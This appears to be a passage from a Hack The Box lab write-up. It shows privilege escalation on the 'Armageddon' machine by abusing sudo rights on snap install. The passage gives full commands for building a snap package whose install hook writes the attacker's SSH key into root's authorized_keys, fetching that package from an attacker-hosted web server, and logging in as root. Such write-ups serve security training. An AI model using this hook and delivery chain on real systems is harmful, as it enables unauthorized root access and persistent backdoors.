snap


As discovered previously, the brucetherealadmin user is able to execute the following command with sudo privileges; /usr/bin/snap install *

according to gtfobins, snap can be abused for privilege escalation if configured with sudo privileges

The idea is to

  • create an arbitrary snap package containing a series of malicious commands
  • have snap to install the package to get code execution

fpm


This exploit requires fpm, which can be used to craft a snap package.

[brucetherealadmin@armageddon ~]$ which fpm
/usr/bin/which: no fpm in (/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/var/lib/snapd/snap/bin:/home/brucetherealadmin/.local/bin:/home/brucetherealadmin/bin)

Since the target system does not have fpm installed, I’d either need to attempt to install it directly on to the target system or prepare the package remotely.

According to the official documentation of fpm, the tool is distributed and installed via Ruby. Therefore it is necessary to have Ruby installed

[brucetherealadmin@armageddon ~]$ which ruby
/usr/bin/which: no ruby in (/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/var/lib/snapd/snap/bin:/home/brucetherealadmin/.local/bin:/home/brucetherealadmin/bin)

Unfortunately, Ruby is not installed in the target system either. This leaves me with the ladder option. I’d need to package it remotely.

Remote Packaging


┌──(kali㉿kali)-[~/archive/htb/labs/armageddon]
└─$ sudo gem install fpm
[sudo] password for kali: 
Fetching clamp-1.0.1.gem
Fetching mustache-0.99.8.gem
Fetching stud-0.0.23.gem
Fetching dotenv-2.8.1.gem
Fetching pleaserun-0.0.32.gem
Fetching insist-1.0.0.gem
Fetching cabin-0.9.0.gem
Fetching backports-3.24.0.gem
Fetching fpm-1.15.1.gem
Fetching arr-pm-0.0.12.gem
Successfully installed stud-0.0.23
Successfully installed mustache-0.99.8
Successfully installed insist-1.0.0
Successfully installed dotenv-2.8.1
Successfully installed clamp-1.0.1
Successfully installed cabin-0.9.0
Successfully installed pleaserun-0.0.32
Successfully installed backports-3.24.0
Successfully installed arr-pm-0.0.12
Successfully installed fpm-1.15.1
Parsing documentation for stud-0.0.23
Installing ri documentation for stud-0.0.23
Parsing documentation for mustache-0.99.8
Installing ri documentation for mustache-0.99.8
Parsing documentation for insist-1.0.0
Installing ri documentation for insist-1.0.0
Parsing documentation for dotenv-2.8.1
Installing ri documentation for dotenv-2.8.1
Parsing documentation for clamp-1.0.1
Installing ri documentation for clamp-1.0.1
Parsing documentation for cabin-0.9.0
Installing ri documentation for cabin-0.9.0
Parsing documentation for pleaserun-0.0.32
Installing ri documentation for pleaserun-0.0.32
Parsing documentation for backports-3.24.0
Installing ri documentation for backports-3.24.0
Parsing documentation for arr-pm-0.0.12
Installing ri documentation for arr-pm-0.0.12
Parsing documentation for fpm-1.15.1
Installing ri documentation for fpm-1.15.1
Done installing documentation for stud, mustache, insist, dotenv, clamp, cabin, pleaserun, backports, arr-pm, fpm after 2 seconds
10 gems installed

i initially thought to install it in a docker container, but it didn’t work and it appears that it requires additional configurations to get it working So I figured a universal package manager could come in handy later, and just opted out to install it on Kali.

┌──(kali㉿kali)-[~/archive/htb/labs/armageddon]
└─$ fpm --version
1.15.1

I can confirm the installation Now I just need to forage a snap package with some commands inside

┌──(kali㉿kali)-[~/archive/htb/labs/armageddon]
└─$ COMMAND='mkdir -p /root/.ssh/ ; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali" > /root/.ssh/authorized_keys'

The command will be writing my own SSH into the SSH directory of the root user It’s stored in the COMMAND variable

┌──(kali㉿kali)-[~/archive/htb/labs/armageddon]
└─$ cd $(mktemp -d)
 
┌──(kali㉿kali)-[/tmp/tmp.Z2CCFolnFc]
└─$ mkdir -p meta/hooks

Making a temporary directory with a sub-directory; meta/hooks

┌──(kali㉿kali)-[/tmp/tmp.Z2CCFolnFc]
└─$ printf '#!/bin/sh\n%s; false' "$COMMAND" > meta/hooks/install

now, I need to prepend #!/bin/sh to the meta/hooks/install file, so that I can have it execute with /bin/sh Then add $COMMAND variable to it

┌──(kali㉿kali)-[/tmp/tmp.Z2CCFolnFc]
└─$ cat meta/hooks/install 
#!/bin/sh
mkdir -p /root/.ssh/ ; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali" > /root/.ssh/authorized_keys; false

It would look like this

┌──(kali㉿kali)-[/tmp/tmp.Z2CCFolnFc]
└─$ chmod +x meta/hooks/install

Changing the permission bits to be executable for packaging

┌──(kali㉿kali)-[/tmp/tmp.Z2CCFolnFc]
└─$ fpm -n xxxx -s dir -t snap -a all meta
created package {:path=>"xxxx_1.0_all.snap"}

Packaging it into a snap package

┌──(kali㉿kali)-[/tmp/tmp.Z2CCFolnFc]
└─$ ls -la            
total 24
drwx------  3 kali kali  4096 apr  3 22:24 .
drwxrwxrwt 20 root root 12288 apr  3 22:24 ..
drwxr-xr-x  3 kali kali  4096 apr  3 22:23 meta
-rw-r--r--  1 kali kali  4096 apr  3 22:24 xxxx_1.0_all.snap

The xxxx_1.0_all.snap file is the crafted snap package

┌──(kali㉿kali)-[/tmp/tmp.Z2CCFolnFc]
└─$ cp xxxx_1.0_all.snap /home/kali/archive/htb/labs/armageddon/

Copying it to the working directory where I am hosting a web server

Exploitation


[brucetherealadmin@armageddon ~]$ curl -s http://10.10.14.2/xxxx_1.0_all.snap -o /home/brucetherealadmin/xxxx_1.0_all.snap
[brucetherealadmin@armageddon ~]$ ll
total 3.8M
   0 drwx------. 3 brucetherealadmin brucetherealadmin  192 Apr  3 21:25 .
4.0K -rw-rw-r--. 1 brucetherealadmin brucetherealadmin 4.0K Apr  3 21:25 xxxx_1.0_all.snap
   0 drwx------. 2 brucetherealadmin brucetherealadmin   60 Apr  3 20:18 .gnupg
812K -rwxr-xr-x. 1 brucetherealadmin brucetherealadmin 809K Apr  3 20:16 linpeas.sh
3.0M -rwxr-xr-x. 1 brucetherealadmin brucetherealadmin 3.0M Apr  3 20:15 pspy64
4.0K -rw-------. 1 brucetherealadmin brucetherealadmin   91 Apr  3 19:59 .mysql_history
4.0K -r--------. 1 brucetherealadmin brucetherealadmin   33 Apr  3 16:55 user.txt
   0 lrwxrwxrwx. 1 root              root                 9 Dec 11  2020 .bash_history -> /dev/null
   0 drwxr-xr-x. 3 root              root                31 Dec  3  2020 ..
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin   18 Apr  1  2020 .bash_logout
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin  193 Apr  1  2020 .bash_profile
4.0K -rw-r--r--. 1 brucetherealadmin brucetherealadmin  231 Apr  1  2020 .bashrc

Delivery complete over HTTP The crafted snap package is now available in the home directory of the brucetherealadmin user

[brucetherealadmin@armageddon ~]$ sudo -u root /usr/bin/snap install xxxx_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": exit status 1)

Installing the crafted snap package with the sudo privileges Although the output shows an error, it has indeed “installed” my snap package

2023/04/03 21:26:29 CMD: UID=1000 PID=8403   | sudo -u root /usr/bin/snap install xxxx_1.0_all.snap --dangerous --devmode 
2023/04/03 21:26:29 CMD: UID=0    PID=8404   | sudo -u root /usr/bin/snap install xxxx_1.0_all.snap --dangerous --devmode 
2023/04/03 21:26:29 CMD: UID=0    PID=8411   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:29 CMD: UID=0    PID=8418   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:29 CMD: UID=0    PID=8425   | unsquashfs -n -i -d /tmp/read-file281165259/unpack /var/lib/snapd/snaps/.local-install-277781617 meta/snap.yaml 
2023/04/03 21:26:29 CMD: UID=0    PID=8432   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:29 CMD: UID=0    PID=8439   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8447   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8455   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8462   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8469   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8476   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8483   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8484   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:30 CMD: UID=0    PID=8485   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8493   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8492   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8491   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8490   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8489   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8488   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8487   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8486   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8497   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8496   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8495   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8494   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8498   | /bin/sh /usr/lib/systemd/system-generators/kdump-dep-generator.sh /run/systemd/generator /run/systemd/generator.early /run/systemd/generator.late 
2023/04/03 21:26:30 CMD: UID=0    PID=8499   | 
2023/04/03 21:26:30 CMD: UID=0    PID=8500   | systemctl start var-lib-snapd-snap-xxxx-x1.mount 
2023/04/03 21:26:30 CMD: UID=0    PID=8501   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:30 CMD: UID=0    PID=8502   | 
2023/04/03 21:26:30 CMD: UID=0    PID=8503   | /usr/lib/systemd/systemd-udevd 
2023/04/03 21:26:30 CMD: UID=0    PID=8504   | 
2023/04/03 21:26:30 CMD: UID=0    PID=8505   | 
2023/04/03 21:26:30 CMD: UID=0    PID=8506   | /usr/libexec/snapd/snap-seccomp compile /var/lib/snapd/seccomp/bpf/snap.xxxx.hook.install.src /var/lib/snapd/seccomp/bpf/snap.xxxx.hook.install.bin 
2023/04/03 21:26:30 CMD: UID=0    PID=8511   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:31 CMD: UID=0    PID=8512   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:32 CMD: UID=0    PID=8514   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:32 CMD: UID=0    PID=8519   | /usr/libexec/snapd/snap-seccomp version-info 
2023/04/03 21:26:32 CMD: UID=0    PID=8524   | snap run --hook install -r unset xxxx 
2023/04/03 21:26:32 CMD: UID=0    PID=8525   | /usr/libexec/snapd/snap-confine snap.xxxx.hook.install /usr/lib/snapd/snap-exec --hook=install xxxx 
2023/04/03 21:26:32 CMD: UID=0    PID=8526   | /usr/libexec/snapd/snap-confine snap.xxxx.hook.install /usr/lib/snapd/snap-exec --hook=install xxxx 
2023/04/03 21:26:33 CMD: UID=0    PID=8535   | /bin/sh /snap/xxxx/x1/meta/hooks/install 
2023/04/03 21:26:33 CMD: UID=0    PID=8536   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:33 CMD: UID=0    PID=8537   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:33 CMD: UID=0    PID=8538   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:33 CMD: UID=0    PID=8539   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:33 CMD: UID=0    PID=8540   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:33 CMD: UID=0    PID=8541   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:34 CMD: UID=0    PID=8545   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8544   | 
2023/04/03 21:26:34 CMD: UID=0    PID=8543   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8542   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8554   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8553   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8552   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8551   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8550   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8549   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8548   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8547   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8546   | /usr/lib/systemd/systemd --switched-root --system --deserialize 22 
2023/04/03 21:26:34 CMD: UID=0    PID=8555   | /bin/sh /usr/lib/systemd/system-generators/kdump-dep-generator.sh /run/systemd/generator /run/systemd/generator.early /run/systemd/generator.late 
2023/04/03 21:26:34 CMD: UID=0    PID=8556   | systemctl is-enabled whoopsie.service 
2023/04/03 21:26:34 CMD: UID=0    PID=8557   | /usr/libexec/snapd/snapd 
2023/04/03 21:26:34 CMD: UID=0    PID=8558   | /usr/libexec/snapd/snapd 

I had PSPY running in the background to capture the event. I can see that it went through a series of commands

As it has “installed” my snap package, I should now be able to use my own SSH key to SSH into the target system as the root user. Let’s test it out

SSH


┌──(kali㉿kali)-[~/archive/htb/labs/armageddon]
└─$ ssh root@$IP -i ~/.ssh/id_ed25519                      
enter passphrase for key '/home/kali/.ssh/id_ed25519': 
last login: Tue Mar 23 12:58:10 2021
[root@armageddon ~]# whoami
root
[root@armageddon ~]# hostname
armageddon.htb
[root@armageddon ~]# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.233  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 fe80::7648:5ea1:5371:b3b5  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::69d1:bb00:780c:f997  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:77:2d  txqueuelen 1000  (Ethernet)
        RX packets 841587  bytes 152827456 (145.7 MiB)
        RX errors 0  dropped 148  overruns 0  frame 0
        TX packets 828468  bytes 303410449 (289.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1448  bytes 146156 (142.7 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1448  bytes 146156 (142.7 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise